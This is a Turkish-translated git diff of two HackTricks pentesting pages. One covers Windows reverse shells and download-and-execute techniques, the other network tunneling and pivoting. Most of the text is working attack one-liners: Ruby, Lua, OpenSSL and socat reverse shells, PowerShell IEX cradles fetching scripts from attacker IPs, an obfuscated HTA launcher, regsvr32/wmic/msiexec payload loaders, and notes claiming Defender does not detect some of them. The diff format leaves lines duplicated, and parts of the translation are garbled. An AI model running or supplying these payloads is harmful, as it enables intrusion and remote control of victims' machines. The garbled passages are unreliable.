Ruby, açık kaynaklı bir programlama dilidir. Ruby ile Windows üzerinde çalışan bir shell oluşturmak için **msfvenom** kullanılabilir. Örneğin, Ruby ile bir reverse shell oluşturmak için aşağıdaki komutu kullanabilirsiniz: Ruby, açık kaynaklı bir programlama dilidir ve genellikle Ruby on Rails web uygulama çerçevesinde kullanılır. Ruby ile Windows üzerinde çalışan bir kabuk oluşturmak için `msfvenom` kullanılabilir. Bu, hedef Windows makinesine bir kabuk yüklemek için kullanılabilir. Kabuk yüklemek için Ruby ile bir kabuk oluşturmak için aşağıdaki adımları izleyebilirsiniz.
```plaintext
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f rb > shell.rb
```
Bu komut, Ruby ile yazılmış bir reverse shell betiği oluşturacaktır. Oluşturulan betiği hedef makinede çalıştırarak bir shell oturumu alabilirsiniz.
```bash ```bash
#Windows #Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
``` ```
## Lua ## Lua
Lua, bir betik dili ve hafif bir çoklu programlama dilidir. Lua, C programlama diline benzer bir sözdizimine sahiptir ve C ile kolayca entegre edilebilir. Lua, oyun geliştirme endüstrisinde sıkça kullanılan bir dil olup, basit ve hızlı bir şekilde betikler yazmak için idealdir. Lua, genellikle oyun motorlarında ve diğer uygulamalarda kullanılan bir betikleme dili olarak tercih edilir. Lua, bir betik dili ve hafif bir çoklu paradigma programlama dilidir. Lua, C programlama dili ile kolayca entegre edilebilir ve genellikle oyun geliştirme endüstrisinde kullanılır. Lua, basit sözdizimi ve hızlı yürütme süresi ile bilinir. Lua, genellikle betik dili olarak kullanılır ve sistem programlama için uygun değildir. Lua, esnek bir dil olup, çeşitli platformlarda çalışabilir.
```bash ```bash
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
``` ```
@ -84,7 +85,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
``` ```
Hedef Kurban
```bash ```bash
#Linux #Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2> openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
@ -93,6 +94,8 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2> openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
``` ```
## Powershell ## Powershell
Powershell, Windows işletim sistemi için geliştirilmiş bir komut satırı aracıdır. Powershell, Windows sistemlerinde otomasyon görevleri gerçekleştirmek için kullanılır. Powershell, geniş bir yelpazede işlevsellik sunar ve sistem yöneticileri tarafından sıkça tercih edilir. Powershell skriptleri, dosya işlemleri, ağ iletişimi, sistem yapılandırması gibi birçok alanda kullanılabilir. Powershell, Windows işletim sistemi üzerinde güçlü bir araçtır ve siber güvenlik uzmanları tarafından da sıkça kullanılır.
```bash ```bash
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
@ -125,11 +128,11 @@ mshta http://webserver/payload.hta
```bash ```bash
mshta \\webdavserver\folder\payload.hta mshta \\webdavserver\folder\payload.hta
``` ```
#### **hta-psh ters kabuk örneği (hta kullanarak PS arka kapı indirme ve çalıştırma)** #### **hta-psh ters kabuk örneği (hta kullanarak PS arka kapıyı indirip çalıştırma)**
```xml ```xml
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt> <scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
``` ```
**Koadic zombi'sini çok kolay bir şekilde stager hta kullanarak indirebilir ve çalıştırabilirsiniz** **Koadic zombi dosyasını stager hta kullanarak çok kolay bir şekilde indirebilir ve çalıştırabilirsiniz**
#### hta örneği #### hta örneği
@ -167,8 +170,6 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</scriptlet> </scriptlet>
``` ```
#### **Mshta - Metasploit** #### **Mshta - Metasploit**
Mshta, Microsoft HTML Application Host, is a utility that executes HTA files. Metasploit has a module that can be used to execute malicious payloads through Mshta. This technique can be useful for bypassing application whitelisting or executing code through a trusted Windows utility.
```bash ```bash
use exploit/windows/misc/hta_server use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
@ -270,7 +271,7 @@ set lhost 10.2.0.5
run run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
``` ```
**Koadic zombi dosyasını regsvr aracılığıyla çok kolay bir şekilde indirebilir ve çalıştırabilirsiniz** **Koadic zombi dosyasını regsvr aşamasını kullanarak çok kolay bir şekilde indirebilir ve çalıştırabilirsiniz**
## Certutil ## Certutil
@ -320,7 +321,7 @@ Saldırgan
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80 python -m SimpleHTTPServer 80
``` ```
Hedef: Kurban:
``` ```
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
``` ```
@ -328,7 +329,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
## **Wmic** ## **Wmic**
* [Buradan](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) alındı * [Buradan](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash ```bash
wmic os get /format:"https://webserver/payload.xsl" wmic os get /format:"https://webserver/payload.xsl"
``` ```
@ -344,9 +345,9 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
</ms:script> </ms:script>
</stylesheet> </stylesheet>
``` ```
**Algılanamaz** **Algılanmadı**
**Koadic zombi dosyasını wmic aracılığıyla çok kolay bir şekilde indirebilir ve çalıştırabilirsiniz** **Koadic zombisini çok kolay bir şekilde wmic aşamasını kullanarak indirebilir ve çalıştırabilirsiniz**
## Msbuild ## Msbuild
@ -363,13 +364,13 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
## **CSC** ## **CSC**
Kurban makinede C# kodunu derleyin. Kurban makinede C# kodunu derle.
``` ```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
``` ```
İşte temel bir C# ters kabuk indirebilirsiniz: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) İşte temel bir C# ters kabuk indirebilirsiniz: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**Algılanmadı** **Tespit edilmedi**
## **Regasm/Regsvc** ## **Regasm/Regsvc**
@ -401,7 +402,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
``` ```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
``` ```
Sunucuda betiği hizmete başlatın ve kurbanın ucunda çalıştırın: Kurbanın sonunda betiği çalıştırmak için bir web sunucusunda betiği sunmaya başlayın:
``` ```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
``` ```
@ -413,15 +414,15 @@ Defender henüz kötü amaçlı kod olarak algılamıyor (henüz, 3/04/2019).
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
İndirin, bir web sunucusu başlatın, dinleyiciyi başlatın ve kurbanın ucunda çalıştırın: İndir, bir web sunucusu başlat, dinleyiciyi başlat ve kurbanın ucunda çalıştır:
``` ```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
``` ```
**Defender henüz kötü amaçlı kod olarak algılamıyor (ancak, 3/04/2019).** Defender henüz kötü amaçlı kod olarak algılamıyor (henüz, 3/04/2019).
**Powercat tarafından sunulan diğer seçenekler:** **Powercat tarafından sunulan diğer seçenekler:**
Bind shell'ler, Ters shell (TCP, UDP, DNS), Port yönlendirme, yükleme/indirme, Payload'lar oluşturma, Dosyalar sunma... Bağlama kabukları, Ters kabuk (TCP, UDP, DNS), Port yönlendirme, yükleme/indirme, Yük oluşturma, Dosyaları sunma...
``` ```
Serve a cmd Shell: Serve a cmd Shell:
powercat -l -p 443 -e cmd powercat -l -p 443 -e cmd
@ -442,7 +443,7 @@ powercat -l -p 443 -i C:\inputfile -rep
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
Bir powershell başlatıcısı oluşturun, bir dosyaya kaydedin ve onu indirip çalıştırın. Bir powershell başlatıcısı oluşturun, bir dosyaya kaydedin ve indirip çalıştırın.
``` ```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
``` ```
@ -452,7 +453,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
Metasploit arka kapı için unicorn kullanarak bir powershell versiyonu oluşturun Unicorn kullanarak metasploit arka kapısının bir PowerShell versiyonunu oluşturun
``` ```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
``` ```
@ -460,7 +461,7 @@ Oluşturulan kaynakla msfconsole'ı başlatın:
``` ```
msfconsole -r unicorn.rc msfconsole -r unicorn.rc
``` ```
Hedefte _powershell\_attack.txt_ dosyasını sunan bir web sunucusu başlatın ve aşağıdaki komutu hedefte çalıştırın: Başlangıçta _powershell\_attack.txt_ dosyasını sunan bir web sunucusu başlatın ve kurban üzerinde şunu çalıştırın:
``` ```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
``` ```
@ -484,7 +485,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) Bazı saldırgan PS modülleri
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -496,8 +497,8 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -4,17 +4,17 @@
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz?** veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.** * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -76,7 +76,7 @@ ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port
``` ```
### Ters Port Yönlendirme ### Ters Port Yönlendirme
Bu, iç ağdaki iç sunuculardan ters kabuk almak için DMZ üzerinden kendi sunucunuza ulaşmanızı sağlar: Bu, iç ağdaki ana bilgisayarlar üzerinden bir DMZ aracılığıyla ters kabuk almak için kullanışlıdır:
```bash ```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000 # Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
@ -108,8 +108,8 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
``` ```
## SSHUTTLE ## SSHUTTLE
Tüm trafiği bir ana makine üzerinden bir alt ağa **ssh** ile **tünelleyebilirsiniz**.\ Bir **alt ağ** üzerinden tüm **trafiği** bir ana makineye **ssh** ile **tünelleyebilirsiniz**.\
Örneğin, 10.10.10.0/24'e giden tüm trafiği yönlendirebilirsiniz. Örneğin, 10.10.10.0/24'e giden tüm trafiği yönlendirme
```bash ```bash
pip install sshuttle pip install sshuttle
sshuttle -r user@host 10.10.10.10/24 sshuttle -r user@host 10.10.10.10/24
@ -130,7 +130,7 @@ portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
``` ```
### SOCKS ### SOCKS
SOCKS (Socket Secure) protokolü, ağ trafiğini bir ağ üzerinden yönlendirmek için kullanılan bir protokoldür. SOCKS sunucusu, istemci isteklerini alır, kimlik doğrulamasını yapar ve ardından istemci isteğini hedef sunucuya ileterek trafiği yönlendirir. Bu, ağ trafiğini güvenli bir şekilde tünellemek için kullanılabilir. SOCKS (Socket Secure) protokolü, ağ trafiğini bir ağ üzerinden yönlendirmek için kullanılan bir protokoldür. SOCKS sunucuları, istemci isteklerini alır ve hedef sunuculara iletmek için yönlendirme yapar. Bu, ağ trafiğini gizlemek ve coğrafi kısıtlamaları aşmak için kullanılabilir.
```bash ```bash
background# meterpreter session background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8) route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
@ -166,20 +166,16 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port ### rPort2Port
{% hint style="warning" %} {% hint style="warning" %}
Bu durumda, **liman, işaretçi ana bilgisayarında açılır**, Takım Sunucusunda değil ve trafik Takım Sunucusuna ve oradan belirtilen ana bilgisayar:limana gönderilir. Bu durumda, **liman, işaret fişine açılır**, Takım Sunucusunda değil ve trafik Takım Sunucusuna gönderilir ve oradan belirtilen ana makine:limana yönlendirilir.
{% endhint %} {% endhint %}
```bash ```bash
rportfwd [bind port] [forward host] [forward port] rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port] rportfwd stop [bind port]
``` ```
- Beacon'ın ters port yönlendirmesi, **trafiği Takım Sunucusuna tünelleme amacıyla tasarlanmıştır, bireysel makineler arasında iletim için değil**.
- Trafik, Beacon'ın C2 trafiği içinde **tünellenir**, P2P bağlantıları da içerir.
- Yüksek portlarda ters port yönlendirmeleri oluşturmak için **Yönetici ayrıcalıklarına ihtiyaç duyulmaz**.
### rPort2Port yerel ### rPort2Port yerel
{% hint style="warning" %} {% hint style="warning" %}
Bu durumda, **port Beacon ana bilgisayarında açılır**, Takım Sunucusunda değil ve trafik **Cobalt Strike istemcisine gönderilir** (Takım Sunucusuna değil) ve oradan belirtilen ana bilgisayar:port'a iletilir. Bu durumda, **liman Beacon ana bilgisayarında açılır**, Team Sunucusunda değil ve **trafik Cobalt Strike istemcisine gönderilir** (Team Sunucusuna değil) ve oradan belirtilen ana bilgisayar:limana yönlendirilir.
{% endhint %} {% endhint %}
``` ```
rportfwd_local [bind port] [forward host] [forward port] rportfwd_local [bind port] [forward host] [forward port]
@ -189,14 +185,14 @@ rportfwd_local stop [bind port]
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
Web dosya tüneli yüklemeniz gerekmektedir: ashx|aspx|js|jsp|php|php|jsp Bir web dosyası tüneli yüklemeniz gerekmektedir: ashx|aspx|js|jsp|php|php|jsp
```bash ```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
``` ```
## Chisel ## Chisel
[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) sayfasından indirebilirsiniz.\ [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) yayın sayfasından indirebilirsiniz.\
**İstemci ve sunucu için aynı sürümü kullanmanız gerekmektedir** İstemci ve sunucu için **aynı sürümü kullanmanız gerekmektedir**
### socks ### socks
```bash ```bash
@ -207,7 +203,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker ./chisel client -v 10.10.10.10:8080 socks #Attacker
``` ```
### Port yönlendirme ### Port Yönlendirme
```bash ```bash
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
@ -216,7 +212,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot) [https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
Ters tünel. Tünel kurban tarafından başlatılır.\ Ters tünel. Tünel, kurban tarafından başlatılır.\
127.0.0.1:1080 üzerinde bir socks4 vekil sunucu oluşturulur. 127.0.0.1:1080 üzerinde bir socks4 vekil sunucu oluşturulur.
```bash ```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
@ -242,40 +238,14 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337 attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
``` ```
### Ters kabuk ### Ters Kabuk
```bash ```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
``` ```
### Port2Port ### Port2Port
--- ### Port2Port
Port2Port, a simple port forwarding tool, can be used to forward traffic from one port to another on the same machine or across different machines. This tool can be useful during penetration testing when pivoting through multiple compromised hosts.
#### Usage
To forward traffic from port 1234 to port 5678 on the same machine, use the following command:
```bash
port2port -l 1234 -r 5678
```
To forward traffic from port 1234 on one machine to port 5678 on another machine with IP address `10.0.0.2`, use the following command:
```bash
port2port -l 1234 -r 5678 -d 10.0.0.2
```
Port2Port can also be used to forward traffic over SSH by specifying the SSH username and hostname:
```bash
port2port -l 1234 -r 5678 -ssh user@hostname
```
#### Conclusion
Port2Port is a versatile tool that can be used for port forwarding within the same machine or across different machines, making it a valuable asset during penetration testing scenarios.
```bash ```bash
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> & socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
``` ```
@ -283,7 +253,7 @@ socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
```bash ```bash
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
``` ```
### SSL Socat ile Meterpreter ### SSL üzerinden Meterpreter ile Socat
```bash ```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
@ -297,7 +267,7 @@ Kurbanın konsolunda son yerine bu satırı çalıştırarak **kimlik doğrulama
```bash ```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
``` ```
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) [https://funoverip.net/2011/01/socat-ile-ters-ssl-arka-kapisi-ve-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
### SSL Socat Tüneli ### SSL Socat Tüneli
@ -319,7 +289,7 @@ victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.
``` ```
### Uzaktan Port2Port ### Uzaktan Port2Port
Yerel SSH portunu (22) saldırganın ana bilgisayarının 443 portuna bağlayın Yerel SSH portunu (22) saldırganın ana makinesinin 443 portuna bağlayın
```bash ```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
@ -327,7 +297,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
``` ```
## Plink.exe ## Plink.exe
Bu, konsol PuTTY sürümü gibidir (seçenekler bir ssh istemcisiyle çok benzerdir). Bu, konsol PuTTY sürümü gibidir (seçenekler bir ssh istemcisine çok benzer).
